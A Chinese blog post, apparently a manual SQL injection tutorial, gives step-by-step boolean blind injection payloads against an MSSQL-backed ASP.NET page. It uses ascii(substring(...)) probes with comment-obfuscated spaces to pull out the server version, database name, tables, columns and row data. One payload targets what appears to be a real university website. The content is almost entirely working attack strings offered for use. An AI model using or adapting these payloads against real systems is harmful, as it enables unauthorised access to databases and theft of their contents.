zoukankan      html  css  js  c++  java
  • mssql手工注入2

    --+
    先说一些函数的说明:
    substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) 把字符转换为ascii值
    --+


    爆数据库版本: md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0-- 正常页面 wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100-- 不正常页面 说明@@version的第一个字母的ascii 的范围是在0到100 之间 md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77-- 正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M 第二个字母的注入为: md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0--



    爆当前数据库名字:
    md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200--
    其他字符按爆版本号方法类似


    爆表:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/库.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
    爆第二张表:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/库.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('表1')),1,1))>0/**/--&t=0

    爆表的字段: md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/COLUMN_NAME from/**/库.information_schema.columns/**/where/** /TABLE_NAME='表名1'),1,1))>0/**/--&t=0
    爆第二个字段:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/COLUMN_NAME/**/ from/**/库.information_schema.columns/**/where/** /TABLE_NAME='表名1'/**/and/**/COLUMN_NAME/**/not/**/in('字段1')),1,1))>0/**/--&t=0

    爆数据:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/字段1/**/from/**/表名),1,1))>0/**/--&t=0

    对于这种注入, 如果能用工具, 就用工具, 因为特别的麻烦

  • 相关阅读:
    HTML常用标签1
    mysql 多对多拆分成 一对多(学生,选修课,成绩)
    JDBC工具包使用
    类反射,用于JDBC
    JDBC基础语句使用
    关于线程等待、线程唤醒方法的引入
    synchronized站点抢票同步例题
    python-装饰器
    jwt, token, session和cookies
    miniapp之登录、授权和支付
  • 原文地址:https://www.cnblogs.com/perl6/p/6835951.html
Copyright © 2011-2022 走看看